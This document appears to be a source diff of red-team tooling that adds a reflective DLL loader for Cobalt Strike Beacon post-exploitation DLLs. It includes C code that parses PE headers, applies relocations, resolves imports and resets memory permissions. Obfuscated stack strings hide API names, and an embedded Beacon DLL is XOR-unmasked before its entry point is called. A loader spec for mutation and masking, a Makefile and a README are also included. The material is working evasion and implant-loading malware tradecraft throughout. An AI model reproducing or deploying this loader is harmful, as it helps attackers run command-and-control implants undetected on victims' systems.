IMAGE_DATA_DIRECTORY * importTableHdr;
IMAGE_IMPORT_DESCRIPTOR * importDesc;
/* grab our header for the import table */
importTableHdr = GetDataDirectory(dll, IMAGE_DIRECTORY_ENTRY_IMPORT);
/* start with the first function of our import table, we're working solely from our destination memory now */
importDesc = (IMAGE_IMPORT_DESCRIPTOR *)PTR_OFFSET(dst, importTableHdr->VirtualAddress);
/* walk our import table and process each of the entries */
while (importDesc->Name) {
ProcessImport(funcs, dll, dst, importDesc);
importDesc++;
}
}
void LoadSections(DLLDATA * dll, char * src, char * dst) {
DWORD numberOfSections = dll->NtHeaders->FileHeader.NumberOfSections;
IMAGE_SECTION_HEADER * sectionHdr = NULL;
void * sectionDst = NULL;
void * sectionSrc = NULL;
/* our first section! */
sectionHdr = (IMAGE_SECTION_HEADER *)PTR_OFFSET(dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader);
for (int x = 0; x < numberOfSections; x++) {
/* our source data to copy from */
sectionSrc = src + sectionHdr->PointerToRawData;
/* our destination data */
sectionDst = dst + sectionHdr->VirtualAddress;
/* copy our section data over */
__movsb((unsigned char *)sectionDst, (unsigned char *)sectionSrc, sectionHdr->SizeOfRawData);
//__builtin_memcpy(sectionDst, sectionSrc, sectionHdr->SizeOfRawData);
/* advance to our next section */
sectionHdr++;
}
}
void ParseDLL(char * src, DLLDATA * data) {
data->DosHeader = (IMAGE_DOS_HEADER *)src;
data->NtHeaders = (IMAGE_NT_HEADERS *)(src + data->DosHeader->e_lfanew);
data->OptionalHeader = (IMAGE_OPTIONAL_HEADER *)&(data->NtHeaders->OptionalHeader);
}
typedef BOOL WINAPI (*DLLMAIN_FUNC)(HINSTANCE, DWORD, LPVOID);
DLLMAIN_FUNC EntryPoint(DLLDATA * dll, void * base) {
return (DLLMAIN_FUNC)PTR_OFFSET(base, dll->OptionalHeader->AddressOfEntryPoint);
}
DWORD SizeOfDLL(DLLDATA * data) {
return data->OptionalHeader->SizeOfImage;
}
void LoadDLL(DLLDATA * dll, char * src, char * dst) {
/* copy our headers over to the destination address, if we wish */
__movsb((unsigned char *)dst, (unsigned char *)src, dll->OptionalHeader->SizeOfHeaders);
/* load our section data */
LoadSections(dll, src, dst);
/* process our relocations */
ProcessRelocations(dll, src, dst);
}
/*
* A macro to figure out our caller
* https://github.com/rapid7/ReflectiveDLLInjection/blob/81cde88bebaa9fe782391712518903b5923470fb/dll/src/ReflectiveLoader.c#L34C1-L46C1
*/
#ifdef __MINGW32__
#define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0))
#else
#pragma intrinsic(_ReturnAddress)
#define WIN_GET_CALLER() _ReturnAddress()
#endif
patch-udrl/src/loaderdefs.h
+184
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@@ -0,0 +1,184 @@
/*
* Copyright (c) 2011/2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification, are permitted
* provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* * Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* * Neither the name of Harmony Security nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
* FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
* CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
* OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
/*
* This file is derived from ReflectiveLoader.h from Stephen Fewer's ReflectiveDLLInjection project.
* A few items were removed, but otherwise, this should largely be unchanged.
*
* https://github.com/stephenfewer/ReflectiveDLLInjection/blob/master/dll/src/ReflectiveLoader.h
*/
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winsock2.h>
#include <intrin.h>
#define HASH_KEY 13
//===============================================================================================//
#ifndef __MINGW32__
#pragma intrinsic( _rotr )
#endif
__forceinline DWORD ror( DWORD d )
{
return _rotr( d, HASH_KEY );
}
__forceinline DWORD hash( char * c )
{
register DWORD h = 0;
do
{
h = ror( h );
h += *c;
} while( *++c );
return h;
}
//===============================================================================================//
typedef struct _UNICODE_STR
{
USHORT Length;
USHORT MaximumLength;
PWSTR pBuffer;
} UNICODE_STR, *PUNICODE_STR;
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
//__declspec( align(8) )
typedef struct _LDR_DATA_TABLE_ENTRY
{
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STR FullDllName;
UNICODE_STR BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
{
DWORD dwLength;
DWORD dwInitialized;
LPVOID lpSsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
LPVOID lpEntryInProgress;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
{
struct _PEB_FREE_BLOCK * pNext;
DWORD dwSize;
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
// struct _PEB is defined in Winternl.h but it is incomplete
// WinDbg> dt -v ntdll!_PEB
typedef struct __PEB // 65 elements, 0x210 bytes
{
BYTE bInheritedAddressSpace;
BYTE bReadImageFileExecOptions;
BYTE bBeingDebugged;
BYTE bSpareBool;
LPVOID lpMutant;
LPVOID lpImageBaseAddress;
PPEB_LDR_DATA pLdr;
LPVOID lpProcessParameters;
LPVOID lpSubSystemData;
LPVOID lpProcessHeap;
PRTL_CRITICAL_SECTION pFastPebLock;
LPVOID lpFastPebLockRoutine;
LPVOID lpFastPebUnlockRoutine;
DWORD dwEnvironmentUpdateCount;
LPVOID lpKernelCallbackTable;
DWORD dwSystemReserved;
DWORD dwAtlThunkSListPtr32;
PPEB_FREE_BLOCK pFreeList;
DWORD dwTlsExpansionCounter;
LPVOID lpTlsBitmap;
DWORD dwTlsBitmapBits[2];
LPVOID lpReadOnlySharedMemoryBase;
LPVOID lpReadOnlySharedMemoryHeap;
LPVOID lpReadOnlyStaticServerData;
LPVOID lpAnsiCodePageData;
LPVOID lpOemCodePageData;
LPVOID lpUnicodeCaseTableData;
DWORD dwNumberOfProcessors;
DWORD dwNtGlobalFlag;
LARGE_INTEGER liCriticalSectionTimeout;
DWORD dwHeapSegmentReserve;
DWORD dwHeapSegmentCommit;
DWORD dwHeapDeCommitTotalFreeThreshold;
DWORD dwHeapDeCommitFreeBlockThreshold;
DWORD dwNumberOfHeaps;
DWORD dwMaximumNumberOfHeaps;
LPVOID lpProcessHeaps;
LPVOID lpGdiSharedHandleTable;
LPVOID lpProcessStarterHelper;
DWORD dwGdiDCAttributeList;
LPVOID lpLoaderLock;
DWORD dwOSMajorVersion;
DWORD dwOSMinorVersion;
WORD wOSBuildNumber;
WORD wOSCSDVersion;
DWORD dwOSPlatformId;
DWORD dwImageSubsystem;
DWORD dwImageSubsystemMajorVersion;
DWORD dwImageSubsystemMinorVersion;
DWORD dwImageProcessAffinityMask;
DWORD dwGdiHandleBuffer[34];
LPVOID lpPostProcessInitRoutine;
LPVOID lpTlsExpansionBitmap;
DWORD dwTlsExpansionBitmapBits[32];
DWORD dwSessionId;
ULARGE_INTEGER liAppCompatFlags;
ULARGE_INTEGER liAppCompatFlagsUser;
LPVOID lppShimData;
LPVOID lpAppCompatInfo;
UNICODE_STR usCSDVersion;
LPVOID lpActivationContextData;
LPVOID lpProcessAssemblyStorageMap;
LPVOID lpSystemDefaultActivationContextData;
LPVOID lpSystemAssemblyStorageMap;
DWORD dwMinimumStackCommit;
} _PEB, * _PPEB;
typedef struct
{
WORD offset:12;
WORD type:4;
} IMAGE_RELOC, *PIMAGE_RELOC;
patch-udrl/src/stdlib.h
+27
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@@ -0,0 +1,27 @@
#include <windows.h>
void* _memset(void* dest, int ch, size_t count) {
unsigned char* p = (unsigned char*)dest;
unsigned char value = (unsigned char)ch;
for (size_t i = 0; i < count; i++) {
p[i] = value;
}
return dest;
}
int _strncmp(const char *s1, const char *s2, size_t n) {
while (n-- > 0) {
unsigned char c1 = (unsigned char)*s1++;
unsigned char c2 = (unsigned char)*s2++;
if (c1 != c2)
return c1 - c2;
if (c1 == '\0')
break;
}
return 0;
}
postex-udrl/Makefile
+14
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@@ -0,0 +1,14 @@
CC_64 = x86_64-w64-mingw32-gcc
all: bin/loader.x64.o
bin:
mkdir bin
# x64
bin/loader.x64.o: bin
$(CC_64) -DWIN_X64 -shared -masm=intel -Wall -Wno-pointer-arith -c src/loader.c -o bin/loader.x64.o
# other
clean:
rm -f bin/*
postex-udrl/README.md
+9
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@@ -0,0 +1,9 @@
# Postex UDRL
This loader is used with Beacon's fork & run commands that utilise a post-ex DLL.
It assumes `post-ex.smart-inject` is set to true in Malleable C2 to receive pointers to
GetModuleHandleA and GetProcAddress. It will use these when processing imports before
resorting to LoadLibraryA.
This loader also passes RDATA_SECTION information to the post-ex DLL.
postex-udrl/bin/loader.x64.o
BIN
View File
Binary file not shown.
postex-udrl/loader.spec
+23
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@@ -0,0 +1,23 @@
name "Beacon Postex Loader"
describe "Reflective loader for Cobalt Strike's postex DLLs"
author "Daniel Duggan (@_RastaMouse)"
x64:
load "bin/loader.x64.o"
make pic +optimize +disco +mutate
patch "pGetModuleHandle" $GMH
patch "pGetProcAddress" $GPA
generate $KEY 8192
push $DLL
xor $KEY
preplen
link "postex_dll"
push $KEY
preplen
link "xor_key"
export
postex-udrl/src/beacon.h
+181
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@@ -0,0 +1,181 @@
/*
* From https://raw.githubusercontent.com/Cobalt-Strike/bof-vs/refs/heads/main/BOF-Template/beacon.h
*/
#ifndef _BEACON_H_
#define _BEACON_H_
#include <windows.h>
typedef struct {
char* start; // The start address of the .rdata section
DWORD length; // The length (Size of Raw Data) of the .rdata section
DWORD offset; // The obfuscation start offset
} RDATA_SECTION, *PRDATA_SECTION;
typedef enum {
PURPOSE_EMPTY,
PURPOSE_GENERIC_BUFFER,
PURPOSE_BEACON_MEMORY,
PURPOSE_SLEEPMASK_MEMORY,
PURPOSE_BOF_MEMORY,
PURPOSE_USER_DEFINED_MEMORY = 1000
} ALLOCATED_MEMORY_PURPOSE;
typedef enum {
LABEL_EMPTY,
LABEL_BUFFER,
LABEL_PEHEADER,
LABEL_TEXT,
LABEL_RDATA,
LABEL_DATA,
LABEL_PDATA,
LABEL_RELOC,
LABEL_USER_DEFINED = 1000
} ALLOCATED_MEMORY_LABEL;
typedef enum {
METHOD_UNKNOWN,
METHOD_VIRTUALALLOC,
METHOD_HEAPALLOC,
METHOD_MODULESTOMP,
METHOD_NTMAPVIEW,
METHOD_USER_DEFINED = 1000,
} ALLOCATED_MEMORY_ALLOCATION_METHOD;
typedef struct _HEAPALLOC_INFO {
PVOID HeapHandle;
BOOL DestroyHeap;
} HEAPALLOC_INFO, *PHEAPALLOC_INFO;
typedef struct _MODULESTOMP_INFO {
HMODULE ModuleHandle;
} MODULESTOMP_INFO, *PMODULESTOMP_INFO;
typedef union _ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION {
HEAPALLOC_INFO HeapAllocInfo;
MODULESTOMP_INFO ModuleStompInfo;
PVOID Custom;
} ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION;
typedef struct _ALLOCATED_MEMORY_CLEANUP_INFORMATION {
BOOL Cleanup;
ALLOCATED_MEMORY_ALLOCATION_METHOD AllocationMethod;
ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION AdditionalCleanupInformation;
} ALLOCATED_MEMORY_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_CLEANUP_INFORMATION;
typedef struct _ALLOCATED_MEMORY_SECTION {
ALLOCATED_MEMORY_LABEL Label; // A label to simplify Sleepmask development
PVOID BaseAddress; // Pointer to virtual address of section
SIZE_T VirtualSize; // Virtual size of the section
DWORD CurrentProtect; // Current memory protection of the section
DWORD PreviousProtect; // The previous memory protection of the section (prior to masking/unmasking)
BOOL MaskSection; // A boolean to indicate whether the section should be masked
} ALLOCATED_MEMORY_SECTION, *PALLOCATED_MEMORY_SECTION;
typedef struct _ALLOCATED_MEMORY_REGION {
ALLOCATED_MEMORY_PURPOSE Purpose; // A label to indicate the purpose of the allocated memory
PVOID AllocationBase; // The base address of the allocated memory block
SIZE_T RegionSize; // The size of the allocated memory block
DWORD Type; // The type of memory allocated
ALLOCATED_MEMORY_SECTION Sections[8]; // An array of section information structures
ALLOCATED_MEMORY_CLEANUP_INFORMATION CleanupInformation; // Information required to cleanup the allocation
} ALLOCATED_MEMORY_REGION, *PALLOCATED_MEMORY_REGION;
typedef struct {
ALLOCATED_MEMORY_REGION AllocatedMemoryRegions[6];
} ALLOCATED_MEMORY, *PALLOCATED_MEMORY;
typedef struct
{
PVOID fnAddr;
PVOID jmpAddr;
DWORD sysnum;
} SYSCALL_API_ENTRY, *PSYSCALL_API_ENTRY;
typedef struct
{
SYSCALL_API_ENTRY ntAllocateVirtualMemory;
SYSCALL_API_ENTRY ntProtectVirtualMemory;
SYSCALL_API_ENTRY ntFreeVirtualMemory;
SYSCALL_API_ENTRY ntGetContextThread;
SYSCALL_API_ENTRY ntSetContextThread;
SYSCALL_API_ENTRY ntResumeThread;
SYSCALL_API_ENTRY ntCreateThreadEx;
SYSCALL_API_ENTRY ntOpenProcess;
SYSCALL_API_ENTRY ntOpenThread;
SYSCALL_API_ENTRY ntClose;
SYSCALL_API_ENTRY ntCreateSection;
SYSCALL_API_ENTRY ntMapViewOfSection;
SYSCALL_API_ENTRY ntUnmapViewOfSection;
SYSCALL_API_ENTRY ntQueryVirtualMemory;
SYSCALL_API_ENTRY ntDuplicateObject;
SYSCALL_API_ENTRY ntReadVirtualMemory;
SYSCALL_API_ENTRY ntWriteVirtualMemory;
SYSCALL_API_ENTRY ntReadFile;
SYSCALL_API_ENTRY ntWriteFile;
SYSCALL_API_ENTRY ntCreateFile;
SYSCALL_API_ENTRY ntQueueApcThread;
SYSCALL_API_ENTRY ntCreateProcess;
SYSCALL_API_ENTRY ntOpenProcessToken;
SYSCALL_API_ENTRY ntTestAlert;
SYSCALL_API_ENTRY ntSuspendProcess;
SYSCALL_API_ENTRY ntResumeProcess;
SYSCALL_API_ENTRY ntQuerySystemInformation;
SYSCALL_API_ENTRY ntQueryDirectoryFile;
SYSCALL_API_ENTRY ntSetInformationProcess;
SYSCALL_API_ENTRY ntSetInformationThread;
SYSCALL_API_ENTRY ntQueryInformationProcess;
SYSCALL_API_ENTRY ntQueryInformationThread;
SYSCALL_API_ENTRY ntOpenSection;
SYSCALL_API_ENTRY ntAdjustPrivilegesToken;
SYSCALL_API_ENTRY ntDeviceIoControlFile;
SYSCALL_API_ENTRY ntWaitForMultipleObjects;
} SYSCALL_API, *PSYSCALL_API;
/* Additional Run Time Library (RTL) addresses used to support system calls.
* If they are not set then system calls that require them will fall back
* to the Standard Windows API.
*
* Required to support the following system calls:
* ntCreateFile
*/
typedef struct
{
PVOID rtlDosPathNameToNtPathNameUWithStatusAddr;
PVOID rtlFreeHeapAddr;
PVOID rtlGetProcessHeapAddr;
} RTL_API, *PRTL_API;
typedef struct
{
SYSCALL_API syscalls;
RTL_API rtls;
} BEACON_SYSCALLS, *PBEACON_SYSCALLS;
/* Beacon User Data
*
* version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch
* e.g. 0x040900 -> CS 4.9
* 0x041000 -> CS 4.10
*/
#define COBALT_STRIKE_VERSION 0x041100
#define BOF_MEMORY_SIZE 0x10000
#define SLEEPMASK_MEMORY_SIZE 0x10000
#define DLL_BEACON_START 0x04
#define DLL_BEACON_USER_DATA 0x0d
#define BEACON_USER_DATA_CUSTOM_SIZE 32
typedef struct
{
unsigned int version;
PSYSCALL_API syscalls;
char custom[BEACON_USER_DATA_CUSTOM_SIZE];
PRTL_API rtls;
PALLOCATED_MEMORY allocatedMemory;
} USER_DATA, * PUSER_DATA;
#endif // _BEACON_H_
postex-udrl/src/loader.c
+172
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@@ -0,0 +1,172 @@
/*
* Copyright (C) 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
*
* This file is part of Tradecraft Garden
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, see <https://www.gnu.org/licenses/>.
*/
/* function prototypes */
void ReflectiveLoader();
/* this is the REAL entry point to this whole mess and it needs to go first! */
__attribute__((noinline, no_reorder)) void go() {
ReflectiveLoader();
}
/*
* loader.h is a refactored Reflective Loader and some macros/definitions we need.
* it has several functions intended to be used across loaders.
*/
#include "loaderdefs.h"
#include "loader.h"
/* build a table of functions we need/want */
#define WIN32_FUNC( x ) __typeof__( x ) * x
typedef struct {
WIN32_FUNC(LoadLibraryA);
WIN32_FUNC(GetModuleHandleA);
WIN32_FUNC(GetProcAddress);
WIN32_FUNC(VirtualProtect);
WIN32_FUNC(VirtualAlloc);
WIN32_FUNC(VirtualFree);
} WIN32FUNCS;
__typeof__(GetModuleHandleA) * pGetModuleHandle __attribute__((section(".text")));
__typeof__(GetProcAddress) * pGetProcAddress __attribute__((section(".text")));
void findNeededFunctions(WIN32FUNCS * funcs) {
/*
* use pGetModuleHandle & pGetProcAddress
* instead of walking the EAT (findFunctionByHash)
*/
funcs->GetModuleHandleA = (__typeof__(GetModuleHandleA) *) pGetModuleHandle;
funcs->GetProcAddress = (__typeof__(GetProcAddress) *) pGetProcAddress;
char k32[] = { 'K', 'e', 'r', 'n', 'e', 'l', '3', '2', 0 };
HMODULE hModule = funcs->GetModuleHandleA(k32);
char ll[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A', 0 };
funcs->LoadLibraryA = (__typeof__(LoadLibraryA) *) funcs->GetProcAddress(hModule, ll);
char va[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c', 0 };
funcs->VirtualAlloc = (__typeof__(VirtualAlloc) *) funcs->GetProcAddress(hModule, va);
char vp[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'P', 'r', 'o', 't', 'e', 'c', 't', 0 };
funcs->VirtualProtect = (__typeof__(VirtualProtect) *) funcs->GetProcAddress(hModule, vp);
char fr[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'F', 'r', 'e', 'e', 0 };
funcs->VirtualFree = (__typeof__(VirtualFree) *) funcs->GetProcAddress(hModule, fr);
}
/*
* This is the Crystal Palace convention for getting ahold of data linked with this loader.
*/
char __BEACON_DLL[0] __attribute__((section("postex_dll")));
char __XOR_KEY[0] __attribute__((section("xor_key")));
char * getLoaderStart() {
return (char *)&go;
}
char * findPostexDLL() {
return (char *)&__BEACON_DLL;
}
char * findXorKey() {
return (char *)&__XOR_KEY;
}
/*
* Our embedded resources are masked, so we need to unmask them.
*/
typedef struct {
int length;
char value[];
} _RESOURCE;
char * unmaskAndLoad(WIN32FUNCS * funcs) {
char * srcData = findPostexDLL();
char * dst;
_RESOURCE * key;
_RESOURCE * src;
/* parse our preplen + xor'd $KEY and our masked data too */
key = (_RESOURCE *)findXorKey();
src = (_RESOURCE *)srcData;
/* allocate memory for our unmasked content */
dst = funcs->VirtualAlloc(NULL, src->length, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
/* unmask it */
for (int x = 0; x < src->length; x++) {
dst[x] = src->value[x] ^ key->value[x % key->length];
}
return dst;
}
/*
* Our reflective loader itself, have fun, go nuts!
*/
void ReflectiveLoader() {
char * loaderStart;
char * rawDll;
char * loadedDll;
WIN32FUNCS funcs;
DLLDATA beaconData;
RDATA_SECTION rdata;
_memset(&rdata, 0, sizeof(RDATA_SECTION));
/* get start of this loader */
loaderStart = getLoaderStart();
/* resolve Win32 functions */
findNeededFunctions(&funcs);
/* find Postex DLL appended to this loader */
rawDll = unmaskAndLoad(&funcs);
/* parse the Beacon DLL */
ParseDLL(rawDll, &beaconData);
/* allocate memory for Beacon */
loadedDll = funcs.VirtualAlloc(NULL, SizeOfDLL(&beaconData), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
/* load Beacon into memory */
LoadDLL(&beaconData, rawDll, loadedDll);
/* process its imports */
ProcessImports((IMPORTFUNCS *)&funcs, &beaconData, loadedDll);
/* fix memory permissions and track each section */
FixSectionsAndTrackRdata((IMPORTFUNCS *)&funcs, &beaconData, loadedDll, &rdata);
/* get the entry point */
DLLMAIN_FUNC entryPoint = EntryPoint(&beaconData, loadedDll);
/* free the unmasked copy */
funcs.VirtualFree(rawDll, 0, MEM_RELEASE);
/* call it */
entryPoint((HINSTANCE)loadedDll, DLL_PROCESS_ATTACH, &rdata);
entryPoint((HINSTANCE)loaderStart, 0x04, NULL);
}
postex-udrl/src/loader.h
+278
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@@ -0,0 +1,278 @@
/*
* Copyright (C) 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
*
* This file is part of Tradecraft Garden
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, see <https://www.gnu.org/licenses/>.
*/
#include "beacon.h"
#include "stdlib.h"
typedef struct {
__typeof__(LoadLibraryA) * LoadLibraryA;
__typeof__(GetModuleHandleA) * GetModuleHandleA;
__typeof__(GetProcAddress) * GetProcAddress;
__typeof__(VirtualProtect) * VirtualProtect;
} IMPORTFUNCS;
/*
* implementation begins below.
*/
#define PTR_OFFSET(x, y) ( (void *)(x) + (ULONG)(y) )
#define DEREF( name )*(UINT_PTR *)(name)
typedef struct {
WORD offset:12;
WORD type:4;
} __IMAGE_RELOC, *__PIMAGE_RELOC;
typedef struct {
IMAGE_DOS_HEADER * DosHeader;
IMAGE_NT_HEADERS * NtHeaders;
IMAGE_OPTIONAL_HEADER * OptionalHeader;
} DLLDATA;
IMAGE_DATA_DIRECTORY * GetDataDirectory(DLLDATA * dll, UINT entry) {
return dll->OptionalHeader->DataDirectory + entry;
}
void ProcessRelocation(DLLDATA * dll, char * src, char * dst, IMAGE_BASE_RELOCATION * relocation, ULONG_PTR newBaseAddress) {
void * relocAddr = PTR_OFFSET(dst, relocation->VirtualAddress);
DWORD relocEntries = (relocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(__IMAGE_RELOC);
__IMAGE_RELOC * relocEntry = (__IMAGE_RELOC *)PTR_OFFSET( relocation, sizeof(IMAGE_BASE_RELOCATION) );
for (int x = 0; x < relocEntries; x++) {
if (relocEntry->type == IMAGE_REL_BASED_DIR64) {
*(ULONG_PTR *)(relocAddr + relocEntry->offset) += newBaseAddress;
}
else if (relocEntry->type == IMAGE_REL_BASED_HIGHLOW) {
*(DWORD *)(relocAddr + relocEntry->offset) += (DWORD)newBaseAddress;
}
else if (relocEntry->type == IMAGE_REL_BASED_HIGH) {
*(WORD *)(relocAddr + relocEntry->offset) += HIWORD(newBaseAddress);
}
else if (relocEntry->type == IMAGE_REL_BASED_LOW) {
*(WORD *)(relocAddr + relocEntry->offset) += LOWORD(newBaseAddress);
}
relocEntry++;
}
}
void FixSectionsAndTrackRdata(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst, RDATA_SECTION * rdata) {
DWORD numberOfSections = dll->NtHeaders->FileHeader.NumberOfSections;
IMAGE_SECTION_HEADER * sectionHdr = NULL;
void * sectionDst = NULL;
DWORD newProtection = 0;
DWORD oldProtection = 0;
/* stack string */
char name[] = { '.', 'r', 'd', 'a', 't', 'a', 0 };
/* our first section! */
sectionHdr = (IMAGE_SECTION_HEADER *)PTR_OFFSET(dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader);
for (int x = 0; x < numberOfSections; x++) {
/* our destination data */
sectionDst = dst + sectionHdr->VirtualAddress;
/* set memory based on header characteristics */
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) {
newProtection = PAGE_WRITECOPY;
}
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) {
newProtection = PAGE_READONLY;
}
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE)) {
newProtection = PAGE_READWRITE;
}
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) {
newProtection = PAGE_EXECUTE;
}
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) {
newProtection = PAGE_EXECUTE_WRITECOPY;
}
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) {
newProtection = PAGE_EXECUTE_READ;
}
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE)) {
newProtection = PAGE_EXECUTE_READWRITE;
}
funcs->VirtualProtect(sectionDst, sectionHdr->SizeOfRawData, newProtection, &oldProtection);
/* is this rdata? */
if (_strncmp((char *)sectionHdr->Name, (char *)name, IMAGE_SIZEOF_SHORT_NAME) == 0) {
rdata->start = sectionDst;
rdata->length = sectionHdr->SizeOfRawData;
rdata->offset = dll->NtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].Size;
}
/* advance to our next section */
sectionHdr++;
}
}
void ProcessRelocations(DLLDATA * dll, char * src, char * dst) {
IMAGE_DATA_DIRECTORY * relocationData;
ULONG_PTR newBaseAddress;
IMAGE_BASE_RELOCATION * relocation;
relocationData = GetDataDirectory(dll, IMAGE_DIRECTORY_ENTRY_BASERELOC);
// calculate the base address delta and perform relocations (even if we load at desired image base)
newBaseAddress = (ULONG_PTR)dst - (ULONG_PTR)dll->OptionalHeader->ImageBase;
/* check if there are relocations present */
if (relocationData->Size) {
relocation = (IMAGE_BASE_RELOCATION *)( dst + relocationData->VirtualAddress );
while (relocation->SizeOfBlock) {
/* process this next relocation */
ProcessRelocation(dll, src, dst, relocation, newBaseAddress);
/* go on to our next relocation */
relocation = (IMAGE_BASE_RELOCATION *)PTR_OFFSET(relocation, relocation->SizeOfBlock);
}
}
}
void ProcessImport(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst, IMAGE_IMPORT_DESCRIPTOR * importDesc) {
void * hLib;
IMAGE_THUNK_DATA * firstThunk;
IMAGE_THUNK_DATA * originalFirstThunk;
IMAGE_IMPORT_BY_NAME * importByName;
ULONG_PTR importByOrdinal;
/* try GMH first, why not since we have it */
hLib = (void *)funcs->GetModuleHandleA((char *)PTR_OFFSET(dst, importDesc->Name));
if (hLib == NULL) {
/* we probably need to load it */
hLib = (void *)funcs->LoadLibraryA((char *)PTR_OFFSET(dst, importDesc->Name));
}
/* get our thunks */
firstThunk = (IMAGE_THUNK_DATA *)PTR_OFFSET( dst, importDesc->FirstThunk );
originalFirstThunk = (IMAGE_THUNK_DATA *)PTR_OFFSET( dst, importDesc->OriginalFirstThunk );
/* NOTE: IMAGE_THUNK_DATA has one union member, u1. All of the fields are the same size.
* The different member names seem more for semantics than anything else. We're skipping the
* field names in the union and just stomping over whatever is in this pointer-sized structure */
/* https://devblogs.microsoft.com/oldnewthing/20231129-00/?p=109077 */
while ( DEREF(firstThunk) ) {
if ( originalFirstThunk && (originalFirstThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG) ) {
/*
* I'm OK passing a ULONG_PTR with our ordinal. Windows (will likely) just check
* that our pointer is < MAXUSHORT ala ReactOS:
* https://doxygen.reactos.org/de/de3/dll_2win32_2kernel32_2client_2loader_8c.html#a0f3819de0cdab6061ec9e3432a85bf85
